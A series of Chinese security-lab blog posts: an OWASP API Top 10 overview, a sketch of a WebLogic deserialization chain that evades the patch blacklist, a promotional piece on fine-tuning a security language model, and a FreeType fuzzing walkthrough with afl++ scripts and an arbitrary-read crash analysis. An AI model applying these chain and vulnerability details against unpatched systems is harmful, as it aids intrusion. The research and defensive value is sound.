本文盘点API安全风险Top10，帮您掌握更多相关知识，从而更好地保护API安全。

API已成为构建和连接现代应用程序的事实标准。就目前而言，越来越多的应用程序转向基于微服务的架构更是助推了这一趋势。因此，确保公司开放Web应用程序免受API安全风险的侵扰至关重要。本文盘点API安全风险Top10，帮您掌握更多相关知识，从而更好地保护API安全。

1.失效的对象级授权：当客户端的授权没有经过正确验证便可访问特定对象ID时，就会出现这种漏洞。

2.失效的身份验证：身份验证过程中的大量漏洞均与此相关，这种安全风险导致系统暴露在攻击者面前，使攻击者能够利用这些漏洞来破坏API对象防护机制。

3.失效的对象属性级授权：在这类安全漏洞中，API端公开的数据属性不必要地超过了其发挥功能所需的数量，违背了最小特权原则。

4.不受限制的资源消耗：这类漏洞有时也称为API资源耗尽，API不会限制给定时间内的请求数量或者所传输的数量。

5.失效的功能级授权：在API端点的访问控制模型实施不正确时，就有可能发生。

6.不受限制的敏感业务流访问：在API公开关键操作（如业务逻辑）而又没有足够的访问控制措施时，就会出现这种风险。

7.服务器端请求伪造（SSRF）：通过SSRF，攻击者可诱导服务器端应用程序向其选定任意域发出HTTPS请求。

8.安全配置错误：这是指安全控制措施设置有误，从而造成系统容易受到攻击。

9.不当的资产管理：这是每个管理API的公司都面临的一项挑战。API安全解决方案可以保护已知API,但未知API（包括弃用，遗留的或过时API）可能没有得到修补，容易遭受攻击。

10.不安全的API使用：此风险涉及到在未来实施适当的安全措施情况下使用第三方API。

失效的对象级授权与失效的对象属性级授权区别

1. 失效的对象级授权是指API的整个对象。

2. 失效的对象属性级授权是指API对象中的一个属性值。

如：

服务器端请求伪造（SSRF）

服务器端请求伪造（Server-Side Request Forgery，SSRF）是一种利用web应用程序或API中的漏洞，允许攻击者从服务器向其他内部或外部系统发出未经授权的请求的攻击类型。以下是保护API免受SSRF攻击的建议措施：

1. 输入验证和过滤：对于接收URL参数的API，进行输入验证和过滤操作，确保传入的URL参数是合法且可信的。可以使用白名单机制，只允许访问预定义的目标URL。

2. 限制协议和端口：限制API发起请求的协议和端口范围，防止恶意用户通过构造特殊的URL请求访问不应该被访问的资源。可以仅允许访问HTTP和HTTPS协议，并限制常用的非敏感端口。

3. 内部网络隔离：将API服务器与内部网络进行适当的隔离，以减少对内部系统和服务的直接访问。采用安全的网络架构和防火墙规则，限制API服务器的出站连接，避免发起对内部资源的非授权访问。

4. 接口权限：在设计API时，为每个接口设置适当的权限和访问控制策略。确保敏感接口仅对有权用户或角色开放，并使用合适的身份认证和授权机制对用户进行验证。

5. 安全配置：确保API服务器和相关组件的安全配置，包括操作系统、Web服务器、应用程序框架等。禁用或限制不必要的功能和协议（如本地文件访问、数据库连接等），以减少攻击面。

6. 日志监控：监控API的请求日志，特别关注异常的URL请求和来源IP地址。及时发现异常行为并进行响应，例如封禁恶意IP或阻止恶意请求。

7. 安全更新和补丁：定期更新和升级API服务器和相关软件，及时应用最新的安全补丁，修复已知漏洞和安全问题。

8. 安全培训和意识：通过定期的安全培训和意识活动，提高开发人员和管理员对SSRF攻击和其他安全威胁的认识，加强安全意识和代码质量。

对敏感业务流的无限制访问

建议采取以下措施来确保API的安全性：

1. 访问控制：实施严格的身份认证和授权机制，仅允许经过身份验证和授权的用户或应用程序使用敏感业务流API。可以使用API密钥、令牌或证书等方式进行身份验证，并设置访问权限和角色。

2. API防护：部署API网关或防火墙以保护API免受恶意攻击和未经授权的访问。API网关可以提供访问控制、流量限制、数据加密、DDoS防护等功能，确保API的可靠性和安全性。

3. 数据加密：对于传输敏感数据的API，使用HTTPS协议进行通信，并采用适当的加密算法来保护数据的机密性和完整性。

4. 输入验证：在处理API请求时，对输入参数进行有效性检查和过滤，以防止恶意用户通过输入来执行注入攻击或其他安全漏洞。

5. 审计和日志记录：记录API的访问日志和操作日志，以便进行安全审计和监测，及时发现异常行为和安全事件，并采取相应的响应措施。

6. 定期漏洞扫描：定期进行API的安全漏洞扫描和渗透测试，发现潜在的安全风险并及时修复。

7. 更新和升级：及时更新和升级API服务器和相关软件，以获取最新的安全修补程序和功能改进，提高系统的安全性和稳定性。

通过以上措施的综合应用，可以有效保护敏感业务流API的安全性，减少未经授权的访问和恶意攻击的风险

参考链接：https://www.akamai.com/blog/security/owasp-top-10-api-security-risks-2023-edition

往期回顾

网络安全领域大模型微调方法

源码模糊测试实战

代理端口复用在后渗透场景中的应用探究

阅读原文

跳转微信打开

VLab安全实验室是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。

Weblogic最近的补丁日更新了多个远程代码执行漏洞，笔者对比最新的补丁发现黑名单列表中新增了“com.fasterxml.jackson.databind.node”。

前段时间有ctf赛事和多篇技术文章里面都提到过jackson有从原生反序列化执行到getter的调用链，而weblogic默认开启的t3和iiop协议就有原生反序列化操作。

在weblogic里面搜索是否有jackson相关jar。

可以看到weblogic默认引用jackson相关jar包，但是版本比较老，相关class都没有继承Serializable，自然不能执行从原生反序列化到getter的调用链。

weblogic每个季度都有补丁，下载weblogic上一个季度的补丁搜索下jackson相关jar包看下。

可以看到在最近的补丁里面weblogic已经更新了jackson的jar包，把这些jar包引入到idea中发现这个版本的jackson是可以执行从原生反序列化到getter的调用链，这条调用链的分析可以参考这篇文章：https://xz.aliyun.com/t/12509

现在需要在weblogic jar包中寻找一个继承了Serializable接口并且getter方法里面有危险操作的class，weblogic黑名单列表已把常见class中getter方法能rce的都已加入到黑名单列表中，例如“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager...”都在黑名单列表当中，只能另外找一个新的class了，经过几个小时的寻找，在某个class的getter方法中可以做到rce的效果，但是这个class只影响某一个发行版本，利用上不太通用。搜索后发现在之前的ctf中出现过从getter到jndi的调用链，并且相关的class不在weblogic黑名单中，文章地址：https://y4er.com/posts/real-wolrd-ctf-old-system-new-getter-jndi-gadget/

修复建议

及时更新补丁，参考oracle官网发布的补丁：https://www.oracle.com/security-alerts/cpuoct2023.html

往期回顾

网络安全领域大模型微调方法

源码模糊测试实战

代理端口复用在后渗透场景中的应用探究

阅读原文

跳转微信打开

期待P-Tuning v2技术以及更多类似技术的不断涌现，它们将引领网络安全行业的未来发展，为每个服务商构建一个更加安全、可靠的数字世界。

当今高度信息化的时代，网络安全的重要性不言而喻。为了应对日益复杂的网络威胁，许多企业和组织都在寻求更加高效、精准的解决方案。而随着最近火热的ChatGPT出现和国内大模型的不断更新迭代，引发了无数中小企业纷纷布局各自垂直领域大模型以追赶新技术。墨云科技推出的大模型VackGPT采用P-Tuning v2架构微调训练而成，凭借其出色的性能和优势，引起了业界的广泛关注。

什么是P-Tuning v2，在网络安全领域有何优势

P-Tuning v2基于P-Tuning发展而来，先简单介绍下P-Tuning技术起源和特点。P-Tuning是旨在解决大模型的对人工构造prompts模板特别敏感问题，简单来说，就是用户输入的prompts稍微多一个词或变化一个位置，则会造成生成结果差异性很大的问题，因此在输入层设计了一种连续可微的virtual token（类似于Prefix-Tuning)，目的是将输入的prompts的token转化成可学习的token。这样能更好的理解用户输入的不同形式的相同问题，相比Prefix Tuning，P-Tuning加入的可微的virtual token，仅限于输入层，并没有在每一层都加。

P-Tuning虽然解决了prompts模板敏感问题，但在一些复杂自然语言理解（NLU）任务上，P-Tuning的效果不具备通用性。实际上，预训练的参数量不能小于百亿级参数量，否则无法达到预期效果。在网络安全领域，需要结合复杂场景和多任务来解决各个子任务。例如，给出一个漏洞描述文本进行模拟渗透任务中某个关键业务信息判断时，需要考虑三个子任务：NER实体提取、漏洞类型分类和渗透优先级判定。最终需要结合其他业务逻辑来判断是否优先渗透该漏洞，并为下一步的系统决策做准备。类似的跨任务应用在网络安全中非常常见。

中小企业在垂直领域开发的专属模型时，往往难以获得百亿参数训练的GPU硬件算力，然而，P-Tuning v2技术的出现解决了上述问题。首先，P-Tuning v2最显著的改进源于对预训练模型的每一层应用连续提示，而不仅仅是输入层。深度提示调整增加了连续提示的能力，并缩小了不同参数量大模型微调的效果差距，尤其是对于小模型。其次，P-Tuningv2仅需要LLM大模型原始参数量的0.1%~3%的可优化训练参数，即可达到精调效果，更适应跨多任务学习，尤其是网络安全应用中大模型多任务学习能力要求更高。这不仅极大降低了算力成本，同时显著提升了效果。最后，除了P-Tuning v2微调框架，还有类似的框架叫做LoRA微调框架，LoRA框架同样也是冻结大模型原有参数，只微调少量的新增参数。为了对比2种框架的训练效果好坏，实际训练过程中也同样采用LoRA框架进行训练，在相同的算力资源和数据量下，经多次对比实验发现，P-Tuning v2在多次对比实验中的多任务综合评分分数要稍高于LoRA框架。

P-Tuning v2技术在网络安全领域的优势体现在多个方面。首先，它采用大模型参数，具备强大的信息处理能力和泛化能力，能够更好地应对各种复杂的网络安全问题。其次，相比于传统的调优方法，P-Tuning v2技术可以在更大范围内进行微调，更加精确地匹配特定领域的特征，从而大幅提升模型的性能。最后，该技术可以广泛应用于各类网络安全场景，包括但不限于数据泄露、恶意攻击等，为网络安全行业带来了革命性的变革。

总结

总的来说，P-Tuning v2技术以其高效、轻量化算力资源优势，已经在网络安全领域取得了显著的应用成果。随着人工智能和大数据技术的不断飞速发展，我们有理由相信，未来的网络安全行业将会更加依赖于这种高效、精准的微调技术。同时，这也预示着未来科技的发展趋势：即人工智能和大数据技术在各个领域的应用将会越来越广泛和深入。

面对未来科技的浪潮，期待更多的企业和组织能够关注并投入科技创新，探索更多的应用领域和应用场景。我们也相信，在科技力量的推动下，未来的网络安全行业将会变得更加安全、可靠、高效。我们期待着P-Tuning v2技术以及更多类似技术的不断涌现，它们将引领网络安全行业的未来发展，为每个服务商构建一个更加安全、可靠的数字世界。

参考文献

往期回顾

源码模糊测试实战

代理端口复用在后渗透场景中的应用探究

某OA系统未授权SQL注入漏洞分析

阅读原文

跳转微信打开

本文将带您进入Linux软件库Fuzzing的世界，向您展示如何利用Fuzzing技术，挖掘和发现潜在的安全漏洞，以提高软件库的安全性和可靠性。

本文将带您进入Linux软件库Fuzzing的世界，向您展示如何利用Fuzzing技术，挖掘和发现潜在的安全漏洞，以提高软件库的安全性和可靠性。本文将介绍Fuzzing的基本原理，选择适当的Fuzzing工具，以及如何有效地执行Fuzzing实验。

模糊测试简介

目前网络上有大量的文章对模糊测试这项技术进行了分析总结，这里不做过多阐述。由于本次选择的目标是Linux操作系统上的软件库，其开源代码不难找到。目前网络上比较流行的针对应用层开源程序的Fuzzing工具有afl、afl++、honggfuzz、libfuzzer等，以及在这些工具基础上通过添加各种先进的功能而衍生的变种fuzzer。感兴趣的读者们可以去github上搜索相关的Fuzzing项目，如afl相关的项目Awesome-AFL。

如此多的Fuzzing工具，普通用户该如何选择呢？Google推出了可用于评估Fuzzer的开源免费服务FuzzBench，FuzzBench提供用户方便但严格的模糊测试，帮助用户们筛选出最合适的Fuzzing工具。当前较新的测试结果如下：

从这张图片可以看出，aflplusplus在两个排行榜都是第一，这意味着aflplusplus这个工具可以以更快的速度触发应用程序更多的代码覆盖率。因此，afl++就是用户开发应用层开源程序的首选fuzzing工具。

测试目标分析

由于希望助力国产操作系统，此处笔者选择银河麒麟V10操作系统上的应用软件作为测试目标。经过一番查找后，笔者决定对字体引擎方向的软件进行探索。

笔者于claude.ai上对基于Linux的字体解析引擎提问，得到的回复如下：

在Linux系统上，常见的用于字体解析和渲染的开源引擎库主要有:
1. FreeType
FreeType一个流行的开源字体解析和渲染引擎，支持多种字体格式，能高质量地渲染字体。FreeType提供字体解析、贴图生成等功能。
2. Fontconfig
Fontconfig是一个字体配置和自定义库，它与FreeType结合使用，用于查找和匹配系统字体。
3. Cairo
Cairo是一个2D图形库，它使用FreeType进行字体渲染，可以渲染字体为图像、PDF等格式。
4. Pango
Pango是基于Cairo和HarfBuzz的文字布局和渲染库，用于国际化文本处理。
5. HarfBuzz
HarfBuzz专注于OpenType字体排版，可以与FreeType集成，提高文字形状的支持。
此外，还有一些轻量级字体引擎，以及图形系统自身也含有字体支持。综合利用这些库，在Linux上可以灵活地支持文本渲染和字体处理。

根据上述内容，笔者利用freetype、fontconfig做关键字，对kylin-font-viewer应用进行了粗略分析，发现导入了freetype、fontconfig相关的so文件，如图所示：

此处freetype的so版本为libfreetype.so.6.17.1，通过对freetype源码的分析，发现6.17.1版本对应freetype2.10.1版本的源码。为了初步验证，笔者查看了freetype官方的更新声明，其中提到了2.10.2开始支持WOFF2字体。笔者尝试用银河麒麟上的字体管理工具加载woff2字体失败，此时基本可以确认so文件是freetype2.10.1版本编译而来。

目标挑选好了一半，此时需要一个封装程序对freetype库函数进行调用，这是因为freetype本身是作为一个共享库供开发者使用，所以它缺少一个独立的应用。由于字体管理工具这种GUI程序在fuzzing的时候会极大地影响整体速度，这里我们不再考虑。查看fontconfig库的时候发现其内部有较多的工具实现了对freetype库的调用，其中fc-query、fc-scan这两个工具都可以用来作为Fuzzing的目标，其内部实现了对字体文件的解析。笔者使用ltrace这个工具查看了fc-query解析字体文件时对freetype库的调用流程，如图所示：

结合freetype的官方文档，笔者认为fc-query可以作为一个简单的程序来对freetype进行模糊测试，这样可以节省编写harness的时间（后续发现并非如此）。

Fuzzing初探

将afl++下载完成后，接着按照官方文档下载必要的第三方库，最后让make source-only编译需要的应用如afl-fuzz、afl-clang-fast即可。此处我们仅需fuzzing源码的应用。下面是Fuzzing过程的具体步骤：

1.编写harness

经过分析，我们直接使用fontconfig的程序fc-query进行Fuzzing。

2.编译目标

笔者在编译fontconfig的fc-query时，按照了官方标准传递编译参数，这就导致了它在链接过程会直接加载当前系统的freetype库，而系统的freetype库是未进行"代码插桩"的；在afl++中，尽量将程序打包为一个静态应用，从而避免对动态共享库进行Fuzzing，否则在统计程序覆盖率的反馈时会出现问题。

因此，正确的流程是先编译freetype生成一个插桩后的libfreetype.a文件，接下来在编译fontconfig时，将libfreetype.a文件的路径传递给LDFLAGS标志，这样生成的fc-query虽仍是一个动态链接的文件，但至少将freetype库包含在内。由于我们的目标就是对freetype进行测试，这样的结果也算是基本满足Fuzzing的需求。

为了能够更好地检测崩溃，笔者在编译的时候加入了环境变量AFL_USE_ASAN=1，如此能够在源码中插入ASAN的检测块。ASAN（AddressSanitizer）是一种内存错误检测工具，主要用来帮助发现和调试内存相关的漏洞。ASAN由Google团队创建，经过多年发展   已经成为编译器工具链和测试工具的重要组件，它可以用来检测如缓冲区溢出、内存越界访问、释放后重用、双重释放等漏洞。当前afl++提供了多个不同的崩溃检测类型如ASAN、MSAN、TSAN等等，后续还会做更多的测试来尝试寻找不同类型的崩溃。

afl++本身支持输入字典来辅助提高代码覆盖率，特别是针对一些结构化信息较高的程序。通过afl++的随机变异可能难以满足特定的判断条件，如特定序列的字符串、大整数、大浮点数等。通过提供一个和程序相关性较高的字典文件，可以有效提高程序的代码覆盖率。为了简化这一过程，afl++支持在编译目标应用时，会直接生成相关的字典文件，方便在后续的Fuzzing过程中使用时添加对应的环境变量export AFL_LLVM_DICT2FILE=/full/path/to/new/file.dic。在编译结束后，即可看到由编译器生成的字典文件。

为了提高Fuzzing速度，笔者选择在fc-query源码中插入__AFL_INIT、__AFL _ LOOP等代码来支持对目标程序的持久化测试，这样可以大幅提高Fuzzing速率。

3.寻找样本

笔者这里直接使用了MozillaSecurity的样本库。样本的选择对afl++这种模糊测试工具至关重要，合适的样本可以帮助afl找到更多关键的覆盖路径，以此提高Fuzzing找到1个或多个有效crash的成功率。

4.样本优化

笔者这里使用了afl-cmin、afl-tmin这两个工具对样本进行精简，其中afl-cmin主要用来排除触发相同代码覆盖率的样本，保证每个样本都能触发独特的覆盖率路径；afl-tmin则用来对样本进行最小化，同时保证触发的覆盖率路径不变。在afl++官方文档也提到，尽量使用体积小的样本，这样Fuzzing的速度会较快，而较大体积的样本可能会极大拖慢Fuzzing速度。因此，如果在样本数量不是非常多的时候，笔者建议依次使用这两个工具对输入样本进行优化。由于afl-tmin这个工具比较消耗时间，使用者可以根据实际情况对特定的样本进行优化而不必进行全部优化，至少要使用afl-cmin工具对重复样本进行排除。

5.运行Fuzzing

为了提升Fuzzing效率，afl++提供了几个应用程序来修改操作系统配置，从而提升效率，如afl-persistent-config、afl-system-config等程序，同时afl++建议程序运行在挂载ext2和noatime选项的文件系统中，这样可以最大化提高Fuzzing速度。

由于测试目标是64位可执行程序，并且在编译时加入了ASAN检测，因此在Fuzzing时必须添加-m none的参数避免afl++由于申请过大内存而退出。同时为了提高Fuzzing效率，这里可以选择多核Fuzzing，即通过同时运行多个fuzzer进程来加速。afl++中通过-M、-S参数来实现并行Fuzzing，并通过-o这个参数指定的文件夹来实现变异文件队列共享，也就是把其它fuzzer进程找到的新路径文件添加到自身的变异队列中。同时可以为每个fuzzer进程配置不同的变异策略，笔者一般为主进程通过-D参数配置deterministic模式，而辅进程则通过-p 参数配置不同的调度策略。前面在编译时生成了字典文件，可以通过-x参数使用。如下是一个简单的bash脚本示例，通过screen这个工具来并行运行多个afl-fuzz进程，并且可以随时通过screen来查看特定窗口的状态。

#!/bin/shscreen -dmS main afl-fuzz -D -x ft.dic -i inp1 -o output1 -t 1000 -m none -M main1 -- ./fc-query @@screen -dmS sess0 afl-fuzz -x ft.dic -p explore -L 0 -i inp1 -o output1 -t 1000 -m none -M sess0 -- ./fc-query @@screen -dmS sess1 afl-fuzz -x ft.dic -p fast -L 0 -i inp1 -o output1 -t 1000 -m none -M sess1 -- ./fc-query @@screen -dmS sess2 afl-fuzz -x ft.dic -p coe -L 0 -i inp1 -o output1 -t 1000 -m none -M sess2 -- ./fc-query @@

6.监控Fuzzing进度

当前，afl++提供了屏幕状态以及其它一系列工具用来监控整个Fuzzing过程的进度。如下图所示：

一般我们只需关注last new find、cycles done、saved crashes、map density几个值即可。

其中last new find代表上一个找到的新路径距离当前的时间；saved crashes代表保存的崩溃样本，这也是我们最希望看到的；map density根据官方解释是当前样本触发的edge比例同所有输入样本触发的edge比例的值，这仅仅是一个粗略的覆盖率统计数据，如果这两个值较低，意味着对目标的Fuzzing还有较大的提升空间。如果较长时间没有找到新的路径，此时可能需要停止Fuzzing，来找找更深层次的原因了。

同时afl++提供了afl-whatsup、afl-showmap等工具对fuzzer的运行状态进行分析。afl-whatsup可以迅速查看每个fuzzer的运行状态以及摘要信息。afl-showmap可以输出整个输出目录的样本触发的整体代码覆盖率。

7.分析结果

这里主要对Fuzzing过程中找到的crash进行分析。经过了一段时间的运行，我们对找到的crash进行查看：发现由于使用了多个Fuzzing进程，每个进程都有着接近100多个crash。为了较快地对crash进行去重，这里笔者写了一个对crash去重的bash脚本，其主要逻辑是对特定目录的crash文件进行处理，分析ASAN输出的函数调用栈，通过调用栈的不同来筛掉相同的crash。脚本如下：

#!/bin/bashoutput_dir="md5output"mkdir -p "$output_dir"md5_file="md5.txt"outfile="file.txt"# 清空 MD5 文件> "$md5_file"# 遍历 file 目录下的所有文件for file in crash/*; do  # 执行 fc-query 命令并获取输出  result=$(./fc-query "$file" 2>&1)  # 提取 '#' 后的所有内容  matches=$(echo "$result" | grep -o '#.*')  matches=$(echo "$matches" | awk '{print $4}')  # 计算提取内容的 MD5 值  md5=$(echo "$matches" | md5sum | awk '{ print $1 }')  # 判断 MD5 是否已存在  if grep -Fxq "$md5" "$md5_file"; then    echo "File: $file, MD5: $md5 (duplicate)"  else    echo "File: $file, MD5: $md5 (new)"    echo "$md5" >> "$md5_file"    echo "$file" >> "$outfile"    # 将执行命令的输出保存到文件    echo "$result" > "$output_dir/$md5.txt"  fidone

官方也提供了工具用来对crash进行分析，如使用afl++的crash exploration模式对崩溃进行探索，试图确认崩溃的最小样本以及崩溃样本对应用程序的控制范围（如是否能够越界读取、写入某些内存等）；还有casr工具用来对ASAN产生的崩溃报告进行分析、分类……这里不再详细介绍，感兴趣的同学可以去尝试。

为了更深入地分析漏洞，笔者推荐用gdb配合gef、peda等插件对程序进行动态调试分析，可以较为清晰地了解崩溃的原因。本次Fuzzing找到的漏洞是一个任意地址读取漏洞，函数调用栈如下：

  #0 0x7fae84a16901 in memcpy string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:222
   #1 0x562e6cdef6f1 in __asan_memcpy 
(/home/admins/fuzzing_freetype/bin/fc-query+0xa16f1) (BuildId: f3d22b379d299b1edc47e8a2ecbf93b372f0ffd1)
    #2 0x7fae84ec8882 in TT_Vary_Apply_Glyph_Deltas /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgxvar.c:3865:9
    #3 0x7fae84ec1608 in load_truetype_glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgload.c:1759:17
    #4 0x7fae84e896ee in TT_Load_Glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgload.c:2910:13
    #5 0x7fae84e896ee in tt_glyph_load /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttdriver.c:475:13
    #6 0x7fae84e26cb0 in FT_Load_Glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/base/ftobjs.c:949:15
    #7 0x7fae84e26546 in FT_Get_Advances /home/admins/fuzzing_freetype/freetype-2.10.1/src/base/ftadvanc.c:161:15
    #8 0x7fae85137dd1 in FcFreeTypeSpacing /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2392:11
    #9 0x7fae85134f1e in FcFreeTypeQueryFaceInternal /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2004:15
    #10 0x7fae8513661a in FcFreeTypeQueryAll /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2223:8
    #11 0x562e6ce2b3a5 in main /home/admins/fuzzing_freetype/fontconfig-2.13.1/fc-query/fc-query.c:158:7
    #12 0x7fae8497bd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7fae8497be3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #14 0x562e6cd6d494 in _start (/home/admins/fuzzing_freetype/bin/fc-query+0x1f494) (BuildId: f3d22b379d299b1edc47e8a2ecbf93b372f0ffd1)

原因是在ttgxvar.c中的 TT_Vary_Apply_Glyph_Deltas函数并没有对blend->tuplecoords变量的有效性进行判断，如果blend->tuplecoords为空，那么memcpy函数的第二个参数即目标地址可以被tupleIndex、blend->num_axis这两个变量控制，而这两个变量的值则是从字体文件中读取的，因此这是一个任意地址读的漏洞。

在2.10.2版本中，该漏洞已经被修复，但由于银河麒麟、ubuntu 20.04等系统依旧使用的是旧版本的freetype库，因此在该系统中还是会触发崩溃。目前我们已经向官方提交了漏洞报告，官方确认将在下个版本中修复，该漏洞目前仅能导致应用崩溃且无法造成更完整的利用，对系统造成的危害并不大。

8.优化

在整个Fuzzing过程运行了两天后，我们发现fuzzer寻找新路径的效率明显降低。这里可以用afl-plot这个工具来查看Fuzzing的效果：

可以看到，经过一段时间的Fuzzing，fuzzer寻找新edge的覆盖率的速度已经明显变慢，此时就需要对目标应用进行更细致的分析，来提高发现新的edge的成功率。

这里笔者从整个应用的代码覆盖率范围入手，查看具体哪部分代码没有被测试到。目前有一些工具如afl-lcov等，可以支持在afl运行时实时输出特定样本的覆盖代码函数以及行数，但是不便于查看当前所有的样本产生的覆盖率。由于afl-lcov本质上是调用了lcov这个工具来生成代码覆盖图，因此笔者直接选择用lcov工具生成所有样本的代码覆盖图。

首先使用gcc配合特定的编译参数-fprofile-arcs -ftest-coverage来生成目标程序，这样每次运行目标程序后就会生成对应的覆盖率统计数据。同时笔者编写了一个脚本用来快速生成包含覆盖率反馈信息的网页：

lcov -d ./ -zlcov -c -i -d ./ -o init.infodirectory="/home/admins/fuzzing_freetype/freetype-2.10.1/out2/*/queue"for file in $directory; do  for file2 in $file/*;do    ./fc-query_cov "$file2"  donedonelcov -c -d ./ -o cover.infolcov -a init.info -a cover.info -o total.infolcov --remove total.info '*conftest*' -o final.infogenhtml -o cover_report1 --legend --title "lcov2"  --prefix=./ final.info

这个脚本能够遍历特定目录下的所有文件并通过编译好的程序执行，随后将生成的覆盖率数据利用genhtml生成对应的可视化网页，如下：

可以看出，整个Fuzzing过程的覆盖率低于30%。接下来就需要深入分析下目标函数代码，了解覆盖率低的成因。经过深入分析，笔者发现覆盖率较低的原因有两个：

1.样本覆盖不足，缺少bdf、pcf等字体格式的样本。笔者通过查看这部分样本的代码覆盖率，发现大部分都没有通过对输入格式的检测，因此需要搜集更多的样本来触发新的路径。

2.fc-query本身对freetype库的调用存在限制，由于freetype库中有大量渲染字体的代码，而fc-query通过设置flags来禁用对应代码的调用，因此我们需要找更适合Fuzzing的harness应用。

3.还有很多freetype的api没有被调用，fc-query本身并没有对这部分api的调用，这也要求我们去寻找更适合Fuzzing的harness应用。

Fuzzing进阶

在第一阶段的Fuzzing过程结束后，我们对Fuzzing的结果进行了分析，特别是针对代码的覆盖率部分，得到的结论是：相当一部分代码在Fuzzing过程中没有被触发。为了解决这个问题，我们通过对以下优化步骤来进一步提高整个Fuzzing的覆盖率。

样本优化

afl++这种基于变异的模糊测试工具，本质上非常依赖有效样本来提高对目标程序的探索路径，实现更高的代码覆盖率。因此样本越丰富，越能提高整个Fuzzing的效果。针对freetype 2.10.1版本中支持的字体类型，从互联网上对这些字体进行了搜集，基本上保证覆盖了freetype所支持的所有字体格式，通过进一步的Fuzzing测试，笔者发现确实可以有效提高整个程序的代码覆盖率。如下图所示，之前针对type1格式的字体，由于缺乏样本，基本难以靠变异来通过type1的字体格式检测，而在加入了对应的样本后，覆盖率得以提高。

针对开源应用，我们有比较好的工具来分析整个应用程序的覆盖率，可以直观地查看没有被覆盖到的代码文件、函数名、行号等信息，为我们寻找更多样本提供思路。那么对于闭源应用，我们又该如何寻找更多更合适的样本？这里有一个取巧的办法，就是寻找与闭源应用同类型的开源产品，利用当前样本对该开源产品进行代码覆盖率统计，如果样本没有覆盖到开源产品，那么也肯定不会触发闭源应用的功能，这也算一个寻找更合适样本的思路。当然现实环境产品更加复杂，产品之间功能可能也并不相似，这种方式实施起来的效果也可能大打折扣。因此，针对闭源应用，另外一个选择就是基于生成的模糊测试工具，如peach、FormatFuzzer等，这就需要你对目标格式、结构等有一定的了解，能够针对性地编写Fuzzing引擎所需的模板文件。当然，如此多的工具能够联合起来自然是如虎添翼，如FormatFuzzer支持和afl++进行集成，在保证变异种子复杂性、有效性的基础上提供给afl++，让其能够触发更多的代码路径；缺点就是比较费时费力，需要研究员花费更多的精力在处理目标结构数据上，如果当前的Fuzzing过程遇到了瓶颈，也可以尝试这种方式来突破。

虽然说覆盖率没有100%还是有继续Fuzzing的余地的，但是这意味你需要更深入地分析代码没有被覆盖的原因，由此来不断更新harness程序或者填充新的样本。这需要耗费大量的时间、精力，而且产出新漏洞的几率并不大，建议新手避坑。当然，它还是有产生新漏洞的情况，比如CVE-2020-15999，这个freetype2漏洞并没有被oss-fuzz的程序集覆盖。因此想要在一些复杂项目中寻找漏洞，一个巧妙的思路就是查看当前社区对该项目的Fuzzing代码覆盖率程度，寻找尚未被覆盖到的代码，对这部分代码进行Fuzzing，笔者之前在研究Linux内核Fuzzing的时候同样沿用了这个思路，并在多个文件系统中找到了漏洞。

编译目标优化

afl++相比afl提供了更多的编译选项来优化Fuzzing过程。比如采用afl-clang-lto编译器对目标应用进行编译，这样可以有效减少覆盖率检测时边碰撞的概率，针对大型、复杂的软件尤其有效。同时使用COMPLOG 模式可以解决变异的样本难以匹配程序中大整数、魔数等问题，进一步提高代码覆盖率。在编译afl++的时候需要选择较新的llvm版本，才能生成afl-clang-lto编译工具，在编译目标时选择该工具，才可以使用afl++提供的各类优化特性，同时开启针对Fuzzing优化的环境变量配置，如AFL_LLVM_CMPLOG=1。此外，开启AFL_LLVM_CMPLOG选项时生成的目标程序，最好在afl-fuzz命令中通过-c 参数提供编译好的目标程序文件，尽量避免直接作为Fuzzing目标，这样会降低Fuzzing速度。同时afl-clang-lto编译的目标会自动保存目标程序中可以用来作为字典的数据，而不需要通过-x进行导入，在实际测试过程中发现afl-clang-lto的编译时间明显增长。

同时前面提到的llvm的各种安全检测工具（sanitizers）如ASAN、MSAN、UBSAN等，可以在编译时通过配置AFL_USE_ASAN=1的环境变量来使用，这里分别编译采用了ASAN、MSAN、UBSAN检测方式的三个目标程序，分别使用相同的种子库对三个程序进行Fuzzing。一种简单的应用方式是在多核Fuzzing中，给辅核Fuzzing进程配置不同的编译目标，由于afl++在插桩时会避开ASAN、MSAN的代码，因此程序获取到的覆盖率反馈是一致的。

笔者认为使用不同的sanitizers来对目标进行Fuzzing还是很有必要的，比如在Fuzzing过程中触发了一些特定的代码区域，而这部分代码中存在一个变量未初始化漏洞，但是你用ASAN插桩的应用根本不会有任何提示，这样就会错过发现这个漏洞的机会，因此尽可能多的使用更多的sanitizers来检测不同类型的漏洞，能够提高整个Fuzzing过程的有效产出。

符号执行探索

Hybrid Fuzzing（混合Fuzzing）是学术界和工业界一直探索的方向，通过符号执行技术来灵活地探索程序的不同路径和条件，经反馈后生成更多更有效的测试用例，可以有效提高Fuzzing的效率。笔者也尝试了多个工具来进行在实际应用场景中的探索。

首先是源码符号执行工具symcc，它利用llvm编译器在编译目标程序时插入符号化代码，用来搜集程序运行时的符号信息。和之前的符号执行引擎相比，它们采用了在编译期一次性植入符号化代码，从而减少了将代码转换为中间语言，对中间语言进行符号化的运行开销，因此symcc的标题就是Don’t interpret, compile，即不要在解释阶段执行符号化，而是在编译阶段做这件事。这种方式可以有效提高符号化程序运行的速度。

